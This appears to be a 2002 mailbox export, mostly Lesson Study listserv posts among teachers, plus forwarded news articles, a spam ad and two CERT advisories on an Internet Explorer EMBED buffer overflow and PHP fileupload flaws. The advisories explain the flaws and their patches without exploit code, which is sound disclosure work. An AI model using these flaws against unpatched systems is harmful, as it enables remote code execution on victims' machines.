www.tc.columbia.edu/lessonstudy/discussionforums.html. We would like to again thank the School Renewal Web Center (www.schoolrenewal.org) for collaborating with the Lesson Study Research Group on this project, with special thanks to Margaret Riel. --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 elizabeth king ,Lesson Study Listserv ,"Fri, 15 Feb 2002 14:18:10 -0800",lesson study in Japan,"Dear Lesson Study enthusiastics, I am Betsy King, an elementary school teacher who is in a doctoral program in Educational Leadership at Mills College in Oakland, Ca. I have read everything I can find on lesson study (in English) and now want to go to Japan this summer to observe lesson study in action, up close and personal. I am aware of the Michigan State University Study Abroad program and would like to know if there are other trips being planned by/for American teachers. Please reply to if you know of any groups going to Japan this summer or if you know of any Japanese teachers or principals who would welcome an inquisitive (but polite) American teacher observing their school. Thank you for your attention in this matter, Betsy King --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu",0,0 HelenChang@aol.com,Lesson Study Listserv ,"Sat, 16 Feb 2002 11:11:35 -0500",Re: lesson study in Japan,"Hi Betsy, My name is Helen Chang. I am a fifth grade teacher at West Windsor-Plainsboro School District. Last summer, I planned to visit Japanese schools. The following two professors had graciously made arrangements for me to visit some top-rated schools. Dr. Misao Hayakawa, Professor of Human Development and Education School of Education Nagoya University Dr.Shigeru Asanuma, Professor of Education and Curriculum Theory Tokyo Gakkugei University Due to my other summer commitments and the problem of reserving my ticket, I postponed the trip. I am still thinking about visiting them this year. If you are interested, I can get in touch with them again and make necessay arrangements. Sincerely, Helen Chang --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 Phil McLewin ,Phil McLewin ,"Mon, 18 Feb 2002 21:08:38 -0500",markup pricing,"WSJ.com - Major Business News February 15, 2002 Squeeze Cuisine: Tough Times Send Chefs Looking for Cheap Substitutes By POOJA BHATIA Staff Reporter of THE WALL STREET JOURNAL Weighing in at 11 ounces, the grilled dry-aged rib-eye with thick-sliced tomatoes and home fries was one of the best-loved entrees at 42 Degrees. So how come it's been dumped for a flank steak and a salad? To save the chef $5 a portion. ""I certainly do better on my margins,"" says James Moffat, whose San Francisco restaurant lost 40% of its business from March to December. ""But I dream of the rib-eye. It was a real showpiece."" Accept no substitutes? Not quite. With business still lagging, high-end restaurants across the country are resorting to wringing savings from the menu. From Olives in Boston to Lidia's in Kansas City, Mo., chefs are getting rid of pricey ingredients and subbing in cheaper ones. Out: fresh ravioli, foie gras and boneless chicken breasts. In: noodles from a box, short ribs and chicken with the bone still in it. The hot seller at Firefly's, a barbecue joint in Marlborough, Mass.? An 8-ounce brisket on a ""throne"" of toast to make the portion look meatier. Swapping mushrooms for white truffles cuts Lidia's tab for each order of risotto by $17.50 Of course, the economy is a big factor, especially for restaurants. Many big expense-account eateries say business has fallen 30% in just the past year, while nationally the industry laid off 129,000 workers between August and January -- the most layoffs in any six-month period on record. ""We had to save somehow,"" says Sam Castro, the chef de cuisine of Azie, a San Francisco restaurant where business has dropped 40% over the past year. ""We weren't just going to sit around and wait to die."" But responding with cutbacks puts a whole new perspective on the trend du jour, comfort food, which at many restaurants has the added benefit of being cheaper food. Analysts say diners who notice such culinary sleights of hand might just get bored with the new options and eat at home. And though the industry's recent woes are well documented, most eateries still use a standard markup of 300% to 350%, which to many customers seems like plenty of cushion. Andrew Nieland's biggest disappointment? The skimpy risotto at his favorite Italian place. It used to be loaded with sausage and porcini mushrooms. Now it's just cheese and basil. Mr. Nieland, a television writer in New York, says he also sees more plain grilled meats, more spaghetti in tomato sauce and way too much home-style grub. ""It's like mashed potatoes everywhere you go,"" he complains. To be sure, this is hardly the first time the nation's $250 billion restaurant business has tried to plump up the bottom line by downgrading ingredients. Lower-end eateries have relied on such strategies for years, cutting corners with everything from farm-raised fish to pesto from a jar. Even as the economy boomed through the late '90s, nicer restaurants were forced to slice and dice menu items every which way to make up for high rents and labor costs. Drop in Hype But now, with the piling on of Sept. 11, the dot-com fallout and a drop in restaurant hype, exclusive restaurants once insulated from budget concerns are feeling the heat, too. One problem: Wealthy diners are now more sensitive about consuming conspicuously than they were six months ago. What's more, fine wines, which can help prop up fancy restaurants' profits, are selling even more slowly than the highest-priced entrees. So how are power chefs coping? Many are overhauling recipe files, swapping out pricey ingredients like foie gras and turbot for cheap ones like short ribs and halibut (switches that can lop 40% and more off the restaurant's cost). In Kansas City,, Lidia's took the seemingly minor step of introducing a new risotto-with-mushrooms dish this winter. But regulars of the popular Italian trattoria may remember the old version: chock-full of $1,200-a-pound truffles. Total savings: $17.50 an order. Other chefs are going for the optical illusion approach, sending out bone-in steaks instead of fillets to make portions look bigger, or giving a small pork cutlet a ""strategic pounding"" so it takes up more dish space. Another tactic: Getting rid of labor-intensive dishes. In Chicago, the owners of Vong moved from haute-Asian fusion to simple noodle house -- changing the name to Vong's Thai Kitchen (VTK) -- and were able to trim the kitchen staff by 13%. ""Operations are a lot more efficient when you don't have to make the dishes look as beautiful,"" says Kevin Brown, president of Lettuce Entertain You, which runs VTK. None of this is lost on high-end suppliers, who've seen a drop in orders in everything from duck fat to filet mignon. Niman Ranch, an organic livestock producer in California, says it's had a 33% falloff in requests for high-end cuts like New York steaks and rib-eyes and a surge in orders for cheap stuff like flatiron steaks and pork hocks. Shrinking demand has caused the price of top fish like black cod and sable to come down 10% and salmon prices to fall by a third at Wild Edibles, a New York supplier. Then there's Hudson Valley Foie Gras, a supplier of all things duck: Its orders have tumbled 20%. No More Imported Fish Of course, some diners are sympathetic to the hard choices restaurants are having to make. Out in San Francisco, technology manager Jukka Valkonen noticed at a recent lunch that Red Herring, a once impossible-to-get-into seafood house, was only a third full and that some of the imported fish had been cut from the menu. ""Obviously they're trying to stay afloat,"" says Mr. Valkonen. ""I'm sure it's a tough decision: Do you cut corners on your food to meet your bottom line?"" (The restaurant's manager says with business down 30% to 40%, Red Herring has changed to local sources.) But while chefs say they've had few complaints about their menu restructuring, consultants fear that lagging sales are a sign that the restaurant mania of just a year ago may be petering out for good. Some point to celebrity chefs going lower-profile, while others say even restaurant reviews are creating less buzz. People want to go ""back to a kinder, gentler, pre-Emeril world,"" says New York restaurant consultant Clark Wolfe. Indeed, the National Restaurant Association is so worried about the recession, it's launched a $2 million-plus campaign to get diners out again. And some analysts predict that, after registering 0.3% real growth in 2001, the restaurant industry will shrink 1% this year. The forecast is even worse for white-tablecloth places, which are expected to decline 5% to 10% in 2002. What's more, some economists fear it will be years before restaurants return to the robust growth of the late '90s. ""Oh, boy, I wouldn't dare predict when business will be back where it was,"" says Bob Goldin, vice president of Technomic, a restaurant consulting group. Meanwhile, 42 Degrees in San Francisco is just happy to be open. And running lean has helped turn the tables: After nearly a year of red ink, it has begun to break even and is hoping to soon turn a profit. Making up the losses might take more time. ""It'll be a happy ending,"" says the chef, Mr. Moffat. ""Perhaps."" -------------------------------------------------------------------------- Lower Prices, Higher Profits? Facing some of the emptiest dining rooms they've seen in years, high-end restaurants have begun cutting back on everything from ingredients to labor. Here's how chefs around the country say they're saving. Restaurant Old Dish/New Dish Markup Comments Luna Park San Francisco Pork chop with mashed potatoes and green beans, $13 260% Thanks to a ""strategic pounding"" the smaller, cheaper cutlet covers more plate than the chop. Add potatoes and beans and you get a ""dish that fills you up for not alot of money."" says the owner. Pork cutlet with mashed potatoes and green beans, $13.50 415% 42 Degrees San Francisco 11-ounce NY Strip with home fries and organic tomatoes, $27 270% Chef James Moffat might be saving $5 a portion on the flank steak, but ""I dream of the rib-eye,"" he says. They've also shrunk portion sizes so diners will order more desserts. 6-ounce flank steak with arugula salad, $22 400% Lidia's Kansas City White truffle risotto, $45 217% When the price of white truffles jumped 15% this winter, the restaurant decided to dump them. ""It's a delicate time now, and you don't want to lose revenue with a high-risk dish,"" says one owner. Wild mushroom risotto, $12 384% Mambo Grill Chicago Sugarcane monkfish and tuna skewers, $15.95 278% The skewers were one of the restaurant's least profitable dishes. At $3.25 per pound, mahi-mahi costs a third of ahi tuna or monkfish, and now the diner gets 9 oz. of fish instead of 3 1/2 oz. Coconut curried mahi-mahi, $16.95 434% Zealous Chicago Pot-au-feu with squab and grilled foie gras, $21 294% ""Everyone loves short rib, and it's cheap,"" says chef Michael Taus. ""It's about survival this year."" And diners seem to like the new version. Orders are up 50%. Pot-au-feu with duck breast and braised short rib, $14 333% Heartland Chophouse New York Prime New York strip steak, $28 278% The sirloin is less tender, but at this price, it outsells the strip steak three to one. Other changes: Brown butcher paper replaces white tablecloths, and dried barley fronds for fresh flowers. Black angus sirloin, $24.95 444% Monkey Bar New York Texas antelope with apple compote, $32 229% The pork chop is less intimidating, says chef David Walzog, noting it does twice the volume as the antelope. Sauces are no longer made to order but in quart-sized batches in the morning. Pork chop with onion marmalade and spinach, $28 280% Olives Boston Handmade pumpkin stuffed ravioli with lobster, $18 240% Though the food cost is the same by using linguini from a box, the restaurant saves about 70 cents a portion in labor costs. Linguini tossed with squash and lobster, $18 240% Write to Pooja Bhatia at pooja.bhatia@wsj.com1 URL for this article: http://online.wsj.com/article/0,,SB1013731151712145960.djm,00.html Hyperlinks in this Article: (1) mailto:pooja.bhatia@wsj.com Updated February 15, 2002 12:01 a.m. EST Copyright 2002 Dow Jones & Company, Inc. All Rights Reserved Printing, distribution, and use of this material is governed by your Subscription agreement and Copyright laws. For information about subscribing go to http://www.wsj.com ",0,1 """Sonal M. Chokshi"" ",Lesson Study Listserv ,"Tue, 19 Feb 2002 10:07:11 -0500","""Hosted"" Conversations on Lesson Study Discussion Forum","Dear Lesson Study Community, We are pleased to announce a new collaboration between the Lesson Study Research Group and the School Renewal Web Center, which currently hosts a discussion forum on lesson study. This discussion forum provides individuals who are interested or engaged in lesson study with the opportunity to conduct online conversations. It can be used to pose questions, raise issues, and share insights about lesson study-related topics. We would like to announce that for the next two weeks, from February 19-March 5, we have invited the following individuals to respond to any questions or issues about implementing lesson study. These ""hosts"" will regularly log in to the discussion forum to respond to any questions, engage in a dialogue with each other, and discuss issues with other members of the lesson study community: ***BILL JACKSON, Teacher/ Math Specialist at Public School #2, Paterson, NJ--one of the first teachers in the U.S. to implement study lessons, and who is currently working closely with Japanese colleagues to continue refining lesson study. ***JAN GABAY, English Teacher/Staff Developer at The Preuss School, UCSD--developed and is leading the whole school faculty (middle and high) through a lesson study process. (Videos of Jan can be see on the School Renewal WebCenter feature on Lesson Study.) ***Dr. LYNN LIPTAK, Principal of Public School #2, Paterson, NJ--one of the first principals/ administrators to implement lesson study in a U.S. school; ***CLEA FERNANDEZ, Assistant Professor and Director of the Lesson Study Research Group, Teachers College/ Columbia University; We are thankful to them for helping launch these ""hosted"" discussions, and would like to continue this series by announcing other hosts and specific topics in the near future. Please let us know if you have any suggestions for topics and/ or hosts, and please feel free to actively participate in this discussion forum at any time. Instructions for using the discussion forum (and listserv) are available at: ""http://www.tc.columbia.edu/lessonstudy/discussionforums.html"". go directly to the School Renewal WebCenter discussion forum: ""http://www.gse.uci.edu/Renewal/feature/lesson_study/ls-discussion.html"" --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 yzmlvwvtsmkgtxwk@yahoo.com,jrizfwdfpyrifgvs@yahoo.com,"Sun, 24 Feb 2002 13:02:46 -0600",Re: Hey [cualt],"Accept Credit Carts today! Your business should be accepting Credit Cards from your customers! Increase your sales by 30, 40 even 50 percent by accepting Credit Cards ·Visa ·MasterCard ·American Express ·Discover We offer very competitive rates and have a 100% acceptance rate. Make online sales with Credit Card transactions approved in 15-20 seconds. You can use your existing personal checking account. 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Systems Affected * Microsoft Internet Explorer * Microsoft Outlook and Outlook Express * Other applications that use the Internet Explorer HTML rendering engine Overview Microsoft Internet Explorer contains a buffer overflow vulnerability in its handling of embedded objects in HTML documents. This vulnerability could allow an attacker to execute arbitrary code on the victim's system when the victim visits a web page or views an HTML email message. I. Description Internet Explorer supports the directive, which can be used to include arbitrary objects in HTML documents. Common types of embedded objects include multimedia files, Java applets, and ActiveX controls. The SRC attribute specifies the source path and filename of an object. For example, a MIDI sound might be embedded in a web page with the following HTML code: Internet Explorer uses attributes of the directive and MIME information from the web server to determine how to handle an embedded object. In most cases, a separate application or plugin is used. A group of Russian researchers, SECURITY.NNOV, has reported that Internet Explorer does not properly handle the SRC attribute of the directive. An HTML document, such as a web page or HTML email message, that contains a crafted SRC attribute can trigger a buffer overflow, executing code with the privileges of the user viewing the document. Microsoft Internet Explorer, Outlook, and Outlook Express are vulnerable. Other applications that use the Internet Explorer HTML rendering engine, such as Windows compiled HTML help (.chm) files and third-party email clients, may also be vulnerable. The CERT/CC is tracking this vulnerability as VU#932283, which corresponds directly to the ""buffer overrun"" vulnerability described in Microsoft Security Bulletin MS02-005. This vulnerability has been assigned the CVE identifier CAN-2002-0022. II. Impact By convincing a user to view a malicious HTML document, an attacker can cause the Internet Explorer HTML rendering engine to execute arbitrary code with the privileges of the user who viewed the HTML document. This vulnerability could be exploited to distribute viruses, worms, or other malicious code. III. Solution Apply a patch Microsoft has released a cumulative patch for Internet Explorer that corrects this vulnerability and several others. For more information about the patch and the vulnerabilities, please see Microsoft Security Bulletin MS02-005: http://www.microsoft.com/technet/security/bulletin/MS02-005.asp Disable ActiveX Controls and Plugins In Internet Explorer, plugins may be used to view, play, or otherwise process embedded objects. The execution of embedded objects is controlled by the ""Run ActiveX Controls and Plugins"" security option. Disabling this option will prevent embedded objects from being processed, and will therefore prevent exploitation of this vulnerability. According to MS02-005: The vulnerability could not be exploited if the ""Run ActiveX Controls and Plugins"" security option were disabled in the Security Zone in which the page was rendered. This is the default condition in the Restricted Sites Zone, and can be disabled manually in any other Zone. At a minimum, disable the ""Run ActiveX Controls and Plugins"" security option in the Internet Zone and the zone used by Outlook or Outlook Express. The ""Run ActiveX Controls and Plugins"" security option is disabled in the ""High"" zone security setting. Instructions for configuring the Internet Zone to use the ""High"" zone security setting can be found in the CERT/CC Malicious Web Scripts FAQ: http://www.cert.org/tech_tips/malicious_code_FAQ.html#steps Apply the Outlook Email Security Update Another way to effectively disable the processing of ActiveX controls and plugins in Outlook is to install the Outlook Email Security Update. The update configures Outlook to open email messages in the Restricted Sites Zone, where the ""Run ActiveX Controls and Plugins"" security option is disabled by default. In addition, the update provides further protection against malicious code that attempts to propagate via Outlook. * Outlook 2002 and Outlook Express 6 The functionality of the Outlook Email Security Update is included in Outlook 2002 and Outlook Express 6. * Outlook 2000 http://office.microsoft.com/downloads/2000/Out2ksec.aspx * Outlook 98 http://office.microsoft.com/downloads/9798/Out98sec.aspx Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Microsoft Microsoft has released a Security Bulletin and a Knowledge Base Article addressing this vulnerability: * Security Bulletin MS02-005 http://www.microsoft.com/technet/security/bulletin/MS02-005.asp * Knowledge Base Article Q317731 http://support.microsoft.com/default.aspx?scid=kb;en-us;Q317731 Cyrusoft Our email client Mulberry does not use the core HTML rendering engine library for its HTML display, and so is not affected by the bug in that library. Having looked at the details of this alert I can also confirm that our own HTML rendering engine is not affected by this, as it ignores the relevant tags. Appendix B. - References 1. http://www.kb.cert.org/vuls/id/932283 2. http://www.security.nnov.ru/advisories/mshtml.asp 3. http://www.microsoft.com/technet/security/bulletin/MS02-005.asp 4. http://support.microsoft.com/default.aspx?scid=kb;en-us;Q317731 5. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0022 6. http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/ embed.asp 7. http://developer.netscape.com/docs/manuals/htmlguid/tags14.htm#128 6379 _________________________________________________________________ The CERT/CC thanks ERRor and DarkZorro of domain Hell and 3APA3A of SECURITY.NNOV for reporting this issue to us. _________________________________________________________________ Author: Art Manion ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-04.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History February 25, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPHppRKCVPMXQI2HJAQEunQP9Hn+YSjmwNSLM4//5JrHP0ydgt0DFzh5k 0X40VYjxXcls0r3uZrpfC80W2f7DF3lS2kNcys4aEl+OXkTLn3p2BEkGYFhitwbG Tl0KvoESvT6b/1/w3TCjBregrAxPEXdw9KwQ2JFm/jmpX1+Gr15X7b2TDbf4sxJy q3UC1EPU9JE= =Jtq3 -----END PGP SIGNATURE-----",0,1 Jim Yates ,hays.65@osu.edu,"Mon, 25 Feb 2002 14:06:32 -0500",Questions,"1. Identify,Technology-related legal and ethical issues We have a Network Acceptable use Policy that all students and staff have to sign. 2. Identify safety and health issues. As far as the internet goes,no individusl pictures on our web page. 3. Equitable access All classrooms and labs have internet access. All classrooms have atleast one computer in the classroom. Elementary has four in every classroom. The high school has 3 labs. 4. Acceptable use Policy. The policy states no loading of software.no hacking or abusing equipment.Don't abuse copy right laws.Any one caught is supposed to be banned from using access computers in the School District; 5. Identify Assistive Technologies We have several stundent students who fall into this category. We supply them with Laptops,Intellatools keyboard,Voice Recognition Software,and Visual aides. Let me know if this is what you wanted. ",0,0 Phil McLewin ,Phil McLewin ,"Mon, 25 Feb 2002 12:18:08 -0500",Advisers' Union Drive Is Gaining on Campus,"Advisers' Union Drive Is Gaining on Campus February 22, 2002 Advisers' Union Drive Is Gaining on Campus By STEVEN GREENHOUSE MHERST, Mass., Feb. 20 — The next frontier in unionizing just may be the college residence hall, where stereos blare and students traipse to the showers clad only in towels. The resident advisers, or R.A.'s, at the University of Massachusetts here are not what one might think of as downtrodden workers; they mainly listen to freshmen talk about their problems and tell drunken students to keep the noise down. But saying that their work is low- paying, tiring and sometimes harrowing, the advisers here will vote next month on whether to unionize in a drive that labor leaders hope will serve as a model for thousands of resident advisers nationwide. The union idea has caught fire among the 365 resident advisers at UMass's Amherst campus. The university is fighting the idea, saying that resident advisers are students, not workers, and should not have the right to unionize. Many resident advisers see unionizing as a tool to get the university to listen to their complaints and to raise their wages. Advisers at UMass earn a $50 weekly stipend and a free dormitory room, valued at $3,286 per academic year. ""A union can help us get an equal playing field with the university,"" said Jennifer Caires, a sophomore resident adviser who serves as counselor, role model and social director for the 44 students on the third floor of Wheeler Hall here. ""Having a union will force the administration to listen to us."" As the labor movement struggles to reverse its decades-long decline, unions have been searching for new types of workers to organize. Now the United Auto Workers finds itself seeking to unionize the resident advisers here after several advisers asked for help because they were impressed by how the U.A.W. had represented UMass's graduate teaching and research assistants. ""The labor movement at its best has to follow where the activity is, and right now there is a lot of activity taking place at this campus and some other college campuses,"" said Tom Juravich, director of the Labor Studies Center at UMass. ""At a time when many union members are nearing retirement, this is an extremely important effort because it's connecting the labor movement with young people."" University officials ridicule the notion that undergraduate advisers should be allowed to unionize, asserting that being a resident adviser is a privilege, not a job. ""Unionization of undergraduate students is inconsistent with education at UMass Amherst,"" the university's chancellor, Marcellette G. Williams, wrote in a letter to resident advisers urging them to vote against unionizing. ""Unionization is particularly incompatible with your position as a student leader and role model in the residence halls."" The university chooses resident advisers based on their grades and their leadership and communications skills. They help patrol the dormitories where 11,000 undergraduates live. University officials fear that bargaining with undergraduates will cause bitterness, although UMass need not fear a strike because state law bars walkouts by public employees. The university also warns that if it gives resident advisers a raise it might have to increase housing fees for all students. ""One can make the argument that this is a job, but that's not our primary point of view,"" said Michael Gilbert, director of housing services at the Amherst campus. ""We approach this from a very developmental and educational perspective. This is different from a student working off campus pumping gas."" Last April, the United Auto Workers presented a petition in which three-fourths of the R.A.'s said they wanted the union to represent them. The university responded that it did not have to recognize the union because the advisers, which it calls resident assistants, were not workers. That left it up to the Massachusetts Labor Relations Commission to determine whether the resident advisers were workers. Chris Fierro, a senior who is a resident adviser, said, ""It's a service rendered that I receive payment for — there is no simpler definition of a job. It's no different than if I work at Pizza Hut."" The commission ruled last month that the resident advisers were indeed employees and scheduled a unionization election for March 5. It noted that the R.A.'s had signed an employment contract, averaged 20 hours' work each week and received W-2 forms and weekly paychecks. Ms. Caires, who hopes to major in finance, complained about many aspects of being a resident adviser: her fears of telling drunken, 6-foot-2 football players to lower their stereos, the times she was awakened at 4 a.m. by students who locked themselves out of their rooms, the university's order that resident advisers remain in their dormitories during the Super Bowl this year to help prevent chaos, especially if the New England Patriots won. Some R.A.'s have had to deal with students who attempted suicide and visitors who took guns into a dormitory. Several said the worst part of the job was being on call all the time. ""I support the union because I like my job and I want to improve it,"" said Cristal Cruz, a resident adviser majoring in journalism and women's studies. The resident advisers' system at UMass works on an almost industrial model with hundreds of advisers taking orders from a hierarchy of administrators. At Amherst College's more intimate campus across town, the resident advisers' system is more collegial, and there is no pressure to unionize. ""We feel needed,"" said Justin Jagher, a junior at Amherst. ""The college looks out for us. I'd call it more of an honor than a job."" Copyright 2002 The New York Times Company | Privacy Information Advertisement The most important new auto technology is 125 miles high A floor lamp that spreads sunshine all over a room New micro circuitry puts a digital camera, video camera and webcam in your shirt pocket for under $80... New technology feeds your pet even if you're not home Carry 20 GB of data in your shirt pocket Aiwa introduces an elegant and stylish compact stereo... Space program research creates ""smart bed"" sleep surface If the world was flat, just about any antenna would do! Advertisement ",0,0 Margaret Riel ,Lesson Study Listserv ,"Tue, 26 Feb 2002 22:08:52 -0800",Re: server errors," Dear Lesson Study Community, We are sorry about the server access problem that developed last week. We are now on a new server and there should not be any more problems. We invite you to join the discussion that has started sharing issues, insights and resources about lesson study and related topics. For the next two weeks, we have invited leading educators implementing lesson study to host the discussion forum. They will respond to questions, engage in a dialogue with each other, and discuss issues with other members of the lesson study community: ***BILL JACKSON, Teacher/ Math Specialist at Public School #2, Paterson, NJ--one of the first teachers in the U.S. to implement study lessons, and who is currently working closely with Japanese colleagues to continue refining lesson study. ***JAN GABAY, English Teacher/Staff Developer at The Preuss School, UCSD--developed and is leading the whole school faculty (middle and high)through a lesson study process. (Videos of Jan can be see on the School Renewal WebCenter feature on Lesson Study.) ***Dr. LYNN LIPTAK, Principal of Public School #2, Paterson, NJ--one of the first principals/ administrators to implement lesson study in a U.S. school; ***CLEA FERNANDEZ, Assistant Professor and Director of the Lesson Study Research Group, Teachers College/ Columbia University; We thank them for launching these ""hosted"" discussions, and would like to continue this series by announcing other hosts and specific topics in the near future. Please let us know if you have any suggestions or topics and/ or hosts. We look forward to your active participate in the discussion forum at any time. Instructions for using the discussion forum (and listserv) are available at: ""http://www.tc.columbia.edu/lessonstudy/discussionforums.html"". go directly to the School Renewal WebCenter discussion forum: ""http://www.gse.uci.edu/Renewal/feature/lesson_study/ls-discussion.html"" -- Margaret Riel (margaret.riel@sri.com) Sr. Researcher SRI, & Visiting Prof. Pepperdine University 943 San Dieguito Drive Encinitas, CA 92024 Phone: (760) 943-1314 Toll Free Messages/fax (866) 248 7670 x6596 Web Office: ""http://gsep.pepperdine.edu/~mriel/office"" *** School Renewal WebCenter ""http://www.schoolrenewal.org"" Now featuring Lesson Study. -- Margaret Riel (margaret.riel@sri.com) Sr. Researcher SRI, & Visiting Prof. Pepperdine University 943 San Dieguito Drive Encinitas, CA 92024 Phone: (760) 943-1314 Toll Free Messages/fax (866) 248 7670 x6596 Web Office: ""http://gsep.pepperdine.edu/~mriel/office"" *** School Renewal WebCenter ""http://www.schoolrenewal.org"" Now featuring Lesson Study. --- Since the purpose of this listserv is to provide a communication network for individuals who are interested in lesson study, please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: ""www.tc.columbia.edu/lessonstudy/discussionforums.html"". You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 27 Feb 2002 16:54:43 -0500",CERT Advisory CA-2002-05 Multiple Vulnerabilities in PHP fileupload," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-05 Multiple Vulnerabilities in PHP fileupload Original release date: February 27, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Web servers running PHP Overview Multiple vulnerabilities exist in the PHP scripting language. These vulnerabilities could allow a remote attacker to execute arbitrary code with the privileges of the PHP process. I. Description PHP is a scripting language widely used in web development. PHP can be installed on a variety of web servers, including Apache, IIS, Caudium, Netscape and iPlanet, OmniHTTPd and others. Vulnerabilities in the php_mime_split function may allow an intruder to execute arbitrary code with the privileges of the web server. For additional details, see http://security.e-matters.de/advisories/012002.html Web servers that do not have PHP installed are not affected by this vulnerability. The CERT/CC is tracking this set of vulnerabilities as VU#297363. At this time, these vulnerabilities have not been assigned a CVE identifier. II. Impact Intruders can execute arbitrary code with the privileges of the web server, or interrupt normal operations of the web server. III. Solution Apply a Patch Upgrade to PHP version 4.1.2, available from http://www.php.net/do_download.php?download_file=php-4.1.2.tar.gz If upgrading is not possible, apply patches as described at http://www.php.net/downloads.php: * For PHP 4.10/4.11 http://www.php.net/do_download.php?download_file=rfc1867.c.diff-4.1.x.gz * For PHP 4.06 http://www.php.net/do_download.php?download_file=rfc1867.c.diff-4.0.6.gz * For PHP 3.0 http://www.php.net/do_download.php?download_file=mime.c.diff-3.0.gz If you are using version 4.20-dev, you are not affected by this vulnerability. Quoting from http://security.e-matters.de/advisories/012002.htm: ""[U]sers running PHP 4.2.0-dev from cvs are not vulnerable to any of the described bugs because the fileupload code was completly rewritten for the 4.2.0 branch."" Disable fileuploads If upgrading is not possible or a patch cannot be applied, you can avoid these vulnerabilities by disabling fileupload support. Edit the PHP configuration file php.ini as follows: file_uploads = off Note that this setting only applies to version 4.0.3 and above. However, this will prevent you from using fileuploads, which may not be acceptable in your environment. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apache Software Foundation Information about this vulnerability is available from http://www.php.net FreeBSD FreeBSD does not include any version of PHP by default, and so is not vulnerable. However, the FreeBSD Ports Collection does contain both PHP3 and PHP4 packages. Updates to the PHP packages are in progress and corrected packages will be available in the near future. MandrakeSoft MandrakeSoft distributes PHP in all distributions and we are currently working on patching our versions of PHP for Linux-Mandrake 7.1 and 7.2; Mandrake Linux 8.0, 8.0/ppc, 8.1, and 8.1/ia64; Single Network Firewall 7.2; Corporate Server 1.0.1. We anticipate having the updates out by the end of the week. Microsoft We do not use PHP in any products. NCSA NCSA does not include PHP as an add-in or bundled component in any products distributed. Red Hat Red Hat was notified of this issue on 27th February 2002. All supported versions of Red Hat Linux ship with PHP packages that are affected by these vulnerabilities. We will shortly be releasing errata packages which contain patched versions that are not vulnerable. The errata packages and our advisory will be available on our web site at the URL below. At the same time users of the Red Hat Network will be able to update their systems to patched versions using the up2date tool. http://www.redhat.com/support/errata/RHSA-2002-035.html _________________________________________________________________ The CERT Coordination Center thanks Stefan Esser, upon whose advisory this document is largely based. _________________________________________________________________ Author: Shawn V. Hernan _________________________________________________________________ Appendix B. - References 1. http://www.kb.cert.org/vuls/id/297363 2. http://security.e-matters.de/advisories/012002.html 3. http://www.iss.net/security_center/static/8281.php ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-05.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. 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Revision History February 27, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 